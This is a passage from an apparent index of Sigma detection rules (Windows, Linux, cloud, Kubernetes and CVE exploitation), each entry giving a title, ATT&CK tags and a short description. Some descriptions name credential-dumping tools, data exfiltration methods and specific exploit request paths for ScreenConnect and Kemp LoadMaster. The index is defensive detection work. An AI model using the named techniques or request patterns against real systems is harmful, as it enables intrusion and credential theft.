Detects programs that connect to uncommon destination ports

Read More
Compress Data and Lock With Password for Exfiltration With 7-ZIP

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities

Read More
Compress Data and Lock With Password for Exfiltration With WINZIP

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities

Read More
Computer Discovery And Export Via Get-ADComputer Cmdlet

Aug 12, 2024 · attack.discovery attack.t1033 ·
Share on:

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

Read More
Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell

Aug 12, 2024 · attack.discovery attack.t1033 ·
Share on:

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

Read More
Computer Password Change Via Ksetup.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects password change for the computer's domain account or host principal via "ksetup.exe"

Read More
Computer System Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.discovery attack.execution attack.t1047 ·
Share on:

Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.

Read More
ComRAT Network Communication

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 attack.g0010 ·
Share on:

Detects Turla ComRAT network communication.

Read More
Confluence Exploitation CVE-2019-3398

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2019-3398 detection.emerging-threats ·
Share on:

Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398

Read More
Conhost Spawned By Uncommon Parent Process

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.

Read More
Conhost.exe CommandLine Path Traversal

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking

Read More
Connection Proxy

Aug 12, 2024 · attack.defense-evasion attack.t1090 ·
Share on:

Detects setting proxy configuration

Read More
Console CodePage Lookup Via CHCP

Aug 12, 2024 · attack.discovery attack.t1614.001 ·
Share on:

Detects use of chcp to look up the system locale value as part of host discovery

Read More
Container Residence Discovery Via Proc Virtual FS

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem

Read More
Container With A hostPath Mount Created

Aug 12, 2024 · attack.t1611 ·
Share on:

Detects creation of a container with a hostPath mount. A hostPath volume mounts a directory or a file from the node to the container. Attackers who have permissions to create a new pod in the cluster may create one with a writable hostPath volume and chroot to escape to the underlying node.

Read More
Conti NTDS Exfiltration Command

Aug 12, 2024 · attack.collection attack.t1560 detection.emerging-threats ·
Share on:

Detects a command used by conti to exfiltrate NTDS

Read More
Conti Volume Shadow Listing

Aug 12, 2024 · attack.t1587.001 attack.resource-development detection.emerging-threats ·
Share on:

Detects a command used by conti to find volume shadow backups

Read More
Control Panel Items

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218.002 attack.persistence attack.t1546 ·
Share on:

Detects the malicious use of a control panel item

Read More
ConvertTo-SecureString Cmdlet Usage Via CommandLine

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity

Read More
Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE

Aug 12, 2024 · attack.credential-access ·
Share on:

Detects usage of the copy builtin cmd command to copy files with the ".dmp"/".dump" extension from a remote share

Read More
Copy From Or To Admin Share Or Sysvol Folder

Aug 12, 2024 · attack.lateral-movement attack.collection attack.exfiltration attack.t1039 attack.t1048 attack.t1021.002 ·
Share on:

Detects a copy command or a copy utility execution to or from an Admin share or remote

Read More
Copy From VolumeShadowCopy Via Cmd.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the execution of the builtin "copy" command that targets a shadow copy (sometimes used to copy registry hives that are in use)

Read More
Copy Passwd Or Shadow From TMP Path

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·
Share on:

Detects when the file "passwd" or "shadow" is copied from tmp path

Read More
Copying Sensitive Files with Credential Data

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.003 car.2013-07-001 attack.s0404 ·
Share on:

Files with well-known filenames (sensitive files with credential data) copying

Read More
CosmicDuke Service Installation

Aug 12, 2024 · attack.persistence attack.t1543.003 attack.t1569.002 detection.emerging-threats ·
Share on:

Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence.

Read More
CrashControl CrashDump Disabled

Aug 12, 2024 · attack.t1564 attack.t1112 ·
Share on:

Detects disabling the CrashDump per registry (as used by HermeticWiper)

Read More
Create Volume Shadow Copy with Powershell

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information

Read More
Created Files by Microsoft Sync Center

Aug 12, 2024 · attack.t1055 attack.t1218 attack.execution attack.defense-evasion ·
Share on:

This rule detects suspicious files created by Microsoft Sync Center (mobsync)

Read More
CreateDump Process Dump

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·
Share on:

Detects uses of the createdump.exe LOLOBIN utility to dump process memory

Read More
Creation Exe for Service with Unquoted Path

Aug 12, 2024 · attack.persistence attack.t1547.009 ·
Share on:

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Read More
Creation of a Diagcab

Aug 12, 2024 · attack.resource-development ·
Share on:

Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)

Read More
Creation of a Local Hidden User Account by Registry

Aug 12, 2024 · attack.persistence attack.t1136.001 ·
Share on:

Sysmon registry detection of a local hidden user account.

Read More
Creation Of A Local User Account

Aug 12, 2024 · attack.t1136.001 attack.persistence ·
Share on:

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

Read More
Creation Of a Suspicious ADS File Outside a Browser Download

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers

Read More
Creation Of An User Account

Aug 12, 2024 · attack.t1136.001 attack.persistence ·
Share on:

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

Read More
Creation Of Non-Existent System DLL

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking.

Read More
Creation Of Pod In System Namespace

Aug 12, 2024 · attack.t1036.005 ·
Share on:

Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names. Attackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection. Deployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers.

Read More
Cred Dump Tools Dropped Files

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.t1003.002 attack.t1003.003 attack.t1003.004 attack.t1003.005 ·
Share on:

Files with well-known filenames (parts of credential dump software or files produced by them) creation

Read More
Credential Dumping Activity By Python Based Tool

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0349 ·
Share on:

Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.

Read More
Credential Dumping Attempt Via Svchost

Aug 12, 2024 · attack.t1548 ·
Share on:

Detects when a process tries to access the memory of svchost to potentially dump credentials.

Read More
Credential Dumping Attempt Via WerFault

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·
Share on:

Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.

Read More
Credential Dumping Tools Service Execution - Security

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 attack.t1569.002 attack.s0005 ·
Share on:

Detects well-known credential dumping tools execution via service execution events

Read More
Credential Dumping Tools Service Execution - System

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 attack.t1569.002 attack.s0005 ·
Share on:

Detects well-known credential dumping tools execution via service execution events

Read More
Credential Manager Access By Uncommon Applications

Aug 12, 2024 · attack.t1003 attack.credential-access ·
Share on:

Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function

Read More
Credentials from Password Stores - Keychain

Aug 12, 2024 · attack.credential-access attack.t1555.001 ·
Share on:

Detects passwords dumps from Keychain

Read More
Credentials In Files

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·
Share on:

Detecting attempts to extract passwords with grep and laZagne

Read More
Credentials In Files - Linux

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·
Share on:

Detecting attempts to extract passwords with grep

Read More
CredUI.DLL Loaded By Uncommon Process

Aug 12, 2024 · attack.credential-access attack.collection attack.t1056.002 ·
Share on:

Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW".

Read More
Critical Hive In Suspicious Location Access Bits Cleared

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset. This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default). Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.

Read More
Crontab Enumeration

Aug 12, 2024 · attack.discovery attack.t1007 ·
Share on:

Detects usage of crontab to list the tasks of the user

Read More
Cross Site Scripting Strings

Aug 12, 2024 · attack.initial-access attack.t1189 ·
Share on:

Detects XSS attempts injected via GET requests in access logs

Read More
Crypto Miner User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects suspicious user agent strings used by crypto miners in proxy logs

Read More
Csc.EXE Execution Form Potentially Suspicious Parent

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 attack.defense-evasion attack.t1218.005 attack.t1027.004 ·
Share on:

Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.

Read More
Cscript/Wscript Uncommon Script Extension Execution

Aug 12, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension

Read More
CSExec Service File Creation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects default CSExec service filename which indicates CSExec service installation and execution

Read More
CSExec Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects CSExec service installation and execution events

Read More
Curl Download And Execute Combination

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.command-and-control attack.t1105 ·
Share on:

Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.

Read More
Curl Usage on Linux

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server

Read More
Curl Web Request With Potential Custom User-Agent

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings

Read More
CurrentControlSet Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
CurrentVersion Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
CurrentVersion NT Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Custom File Open Handler Executes PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects the abuse of custom file open handler, executing powershell

Read More
CVE-2010-5278 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2010-5278 detection.emerging-threats ·
Share on:

MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.

Read More
CVE-2020-0688 Exchange Exploitation via Web Log

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-0688 detection.emerging-threats ·
Share on:

Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688

Read More
CVE-2020-0688 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-0688 detection.emerging-threats ·
Share on:

Detects CVE-2020-0688 Exploitation attempts

Read More
CVE-2020-0688 Exploitation via Eventlog

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-0688 detection.emerging-threats ·
Share on:

Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688

Read More
CVE-2020-10148 SolarWinds Orion API Auth Bypass

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-10148 detection.emerging-threats ·
Share on:

Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts

Read More
CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry

Aug 12, 2024 · attack.persistence attack.execution attack.defense-evasion attack.t1112 cve.2020-1048 ·
Share on:

Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.

Read More
CVE-2020-5902 F5 BIG-IP Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-5902 detection.emerging-threats ·
Share on:

Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902

Read More
CVE-2021-1675 Print Spooler Exploitation

Aug 12, 2024 · attack.execution attack.t1569 cve.2021-1675 detection.emerging-threats ·
Share on:

Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675

Read More
CVE-2021-1675 Print Spooler Exploitation IPC Access

Aug 12, 2024 · attack.execution attack.t1569 cve.2021-1675 cve.2021-34527 detection.emerging-threats ·
Share on:

Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527

Read More
CVE-2021-21972 VSphere Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-21972 detection.emerging-threats ·
Share on:

Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972

Read More
CVE-2021-21978 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-21978 detection.emerging-threats ·
Share on:

Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978

Read More
CVE-2021-26858 Exchange Exploitation

Aug 12, 2024 · attack.t1203 attack.execution cve.2021-26858 detection.emerging-threats ·
Share on:

Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content

Read More
CVE-2021-31979 CVE-2021-33771 Exploits

Aug 12, 2024 · attack.credential-access attack.t1566 attack.t1203 cve.2021-33771 cve.2021-31979 detection.emerging-threats ·
Share on:

Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum

Read More
CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum

Aug 12, 2024 · attack.credential-access attack.t1566 attack.t1203 cve.2021-33771 cve.2021-31979 detection.emerging-threats ·
Share on:

Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum

Read More
CVE-2021-33766 Exchange ProxyToken Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-33766 detection.emerging-threats ·
Share on:

Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766

Read More
CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit

Aug 12, 2024 · attack.initial-access attack.t1190 attack.persistence attack.t1505.003 cve.2021-40539 detection.emerging-threats ·
Share on:

Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).

Read More
CVE-2021-41773 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-41773 detection.emerging-threats ·
Share on:

Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.

Read More
CVE-2021-44077 POC Default Dropped File

Aug 12, 2024 · attack.execution cve.2021-44077 detection.emerging-threats ·
Share on:

Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)

Read More
CVE-2022-24527 Microsoft Connected Cache LPE

Aug 12, 2024 · attack.privilege-escalation attack.t1059.001 cve.2022-24527 detection.emerging-threats ·
Share on:

Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache

Read More
CVE-2022-31656 VMware Workspace ONE Access Auth Bypass

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-31656 detection.emerging-threats ·
Share on:

Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656 VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.

Read More
CVE-2022-31659 VMware Workspace ONE Access RCE

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-31659 detection.emerging-threats ·
Share on:

Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659

Read More
CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21

Aug 12, 2024 · detection.emerging-threats attack.initial-access attack.t1190 cve.2023-1389 ·
Share on:

Detects potential exploitation attempt of CVE-2023-1389 an Unauthenticated Command Injection in TP-Link Archer AX21.

Read More
CVE-2023-23397 Exploitation Attempt

Aug 12, 2024 · attack.credential-access attack.initial-access cve.2023-23397 detection.emerging-threats ·
Share on:

Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation.

Read More
CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File

Aug 12, 2024 · attack.execution cve.2023-38331 detection.emerging-threats ·
Share on:

Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331

Read More
CVE-2023-40477 Potential Exploitation - .REV File Creation

Aug 12, 2024 · attack.execution cve.2023-40477 detection.emerging-threats ·
Share on:

Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash.

Read More
CVE-2023-40477 Potential Exploitation - WinRAR Application Crash

Aug 12, 2024 · attack.execution cve.2023-40477 detection.emerging-threats ·
Share on:

Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477

Read More
CVE-2024-1212 Exploitation - Progress Kemp LoadMaster Unauthenticated Command Injection

Aug 12, 2024 · attack.initial-access cve.2024-1212 ·
Share on:

Detects potential exploitation of CVE-2024-1709 an unauthenticated command injection in Progress Kemp LoadMaster. It looks for GET requests to '/access/set' API with the parameters 'param=enableapi' and 'value=1' as well as an "Authorization" header with a base64 encoded value with an uncommon character.

Read More
CVE-2024-1708 - ScreenConnect Path Traversal Exploitation

Aug 12, 2024 · attack.persistence cve.2024-1708 ·
Share on:

This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708.

Read More
CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security

Aug 12, 2024 · attack.initial-access attack.persistence cve.2024-1708 ·
Share on:

This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.

Read More
CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation

Aug 12, 2024 · attack.initial-access attack.persistence cve.2024-1709 ·
Share on:

Detects GET requests to '/SetupWizard.aspx/[anythinghere]' that indicate exploitation of the ScreenConnect vulnerability CVE-2024-1709.

Read More
DarkGate - Drop DarkGate Loader In C:\Temp Directory

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects attackers attempting to save, decrypt and execute the DarkGate Loader in C:\temp folder.

Read More
DarkSide Ransomware Pattern

Aug 12, 2024 · attack.execution attack.t1204 detection.emerging-threats ·
Share on:

Detects DarkSide Ransomware and helpers

Read More
Data Compressed

Aug 12, 2024 · attack.exfiltration attack.t1560.001 ·
Share on:

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Read More
Data Copied To Clipboard Via Clip.EXE

Aug 12, 2024 · attack.collection attack.t1115 ·
Share on:

Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.

Read More
Data Exfiltration to Unsanctioned Apps

Aug 12, 2024 · attack.exfiltration attack.t1537 ·
Share on:

Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.

Read More
Data Exfiltration with Wget

Aug 12, 2024 · attack.exfiltration attack.t1048.003 ·
Share on:

Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.

Read More
DCERPC SMB Spoolss Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.

Read More
DCOM InternetExplorer.Application Iertutil DLL Hijack - Security

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1021.003 ·
Share on:

Detects a threat actor creating a file named iertutil.dll in the C:\Program Files\Internet Explorer\ directory over the network for a DCOM InternetExplorer DLL Hijack scenario.

Read More
DD File Overwrite

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Detects potential overwriting and deletion of a file using DD.

Read More
Decode Base64 Encoded Text

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects usage of base64 utility to decode arbitrary base64-encoded text

Read More
Decode Base64 Encoded Text -MacOs

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects usage of base64 utility to decode arbitrary base64-encoded text

Read More
Default Cobalt Strike Certificate

Aug 12, 2024 · attack.command-and-control attack.s0154 ·
Share on:

Detects the presence of default Cobalt Strike certificate in the HTTPS traffic

Read More
Default Credentials Usage

Aug 12, 2024 · attack.initial-access ·
Share on:

Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts. Sigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.

Read More
Default RDP Port Changed to Non Standard Port

Aug 12, 2024 · attack.persistence attack.t1547.010 ·
Share on:

Detects changes to the default RDP port. Remote desktop is a common feature in operating systems. It allows a user to log into a remote system using an interactive session with a graphical user interface. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

Read More
Defrag Deactivation

Aug 12, 2024 · attack.persistence attack.t1053.005 attack.s0111 detection.emerging-threats ·
Share on:

Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group

Read More
Defrag Deactivation - Security

Aug 12, 2024 · attack.persistence attack.t1053 attack.s0111 detection.emerging-threats ·
Share on:

Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group

Read More
Delegated Permissions Granted For All Users

Aug 12, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects when highly privileged delegated permissions are granted on behalf of all users

Read More
Delete All Scheduled Tasks

Aug 12, 2024 · attack.impact attack.t1489 ·
Share on:

Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.

Read More
Delete Important Scheduled Task

Aug 12, 2024 · attack.impact attack.t1489 ·
Share on:

Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities

Read More
Delete Volume Shadow Copies Via WMI With PowerShell

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Shadow Copies deletion using operating systems utilities via PowerShell

Read More
Delete Volume Shadow Copies via WMI with PowerShell - PS Script

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

Read More
Deleted Data Overwritten Via Cipher.EXE

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives

Read More
Deletion of Volume Shadow Copies via WMI with PowerShell

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

Read More
Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

Read More
Denied Access To Remote Desktop

Aug 12, 2024 · attack.lateral-movement attack.t1021.001 ·
Share on:

This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network.

Read More
Deny Service Access Using Security Descriptor Tampering Via Sc.EXE

Aug 12, 2024 · attack.persistence attack.t1543.003 ·
Share on:

Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.

Read More
Deployment AppX Package Was Blocked By AppLocker

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects an appx package deployment that was blocked by AppLocker policy

Read More
Deployment Deleted From Kubernetes Cluster

Aug 12, 2024 · attack.t1498 ·
Share on:

Detects the removal of a deployment from a Kubernetes cluster. This could indicate disruptive activity aiming to impact business operations.

Read More
Deployment Of The AppX Package Was Blocked By The Policy

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects an appx package deployment that was blocked by the local computer policy

Read More
Detect Virtualbox Driver Installation OR Starting Of VMs

Aug 12, 2024 · attack.defense-evasion attack.t1564.006 attack.t1564 ·
Share on:

Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.

Read More
Detected Windows Software Discovery

Aug 12, 2024 · attack.discovery attack.t1518 ·
Share on:

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

Read More
Detected Windows Software Discovery - PowerShell

Aug 12, 2024 · attack.discovery attack.t1518 ·
Share on:

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

Read More
Detection of PowerShell Execution via Sqlps.exe

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1127 ·
Share on:

This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

Read More
Device Installation Blocked

Aug 12, 2024 · attack.initial-access attack.t1200 ·
Share on:

Detects an installation of a device that is forbidden by the system policy

Read More
Device Registration or Join Without MFA

Aug 12, 2024 · attack.defense-evasion attack.t1078.004 ·
Share on:

Monitor and alert for device registration or join events where MFA was not performed.

Read More
DeviceCredentialDeployment Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of DeviceCredentialDeployment to hide a process from view

Read More
Devil Bait Potential C2 Communication Traffic

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential C2 communication related to Devil Bait malware

Read More
Devtoolslauncher.exe Executes Specified Binary

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

The Devtoolslauncher.exe executes other binary

Read More
DEWMODE Webshell Access

Aug 12, 2024 · attack.persistence attack.t1505.003 detection.emerging-threats ·
Share on:

Detects access to DEWMODE webshell as described in FIREEYE report

Read More
DHCP Callout DLL Installation

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.t1112 ·
Share on:

Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)

Read More
DHCP Server Error Failed Loading the CallOut DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded

Read More
DHCP Server Loaded the CallOut DLL

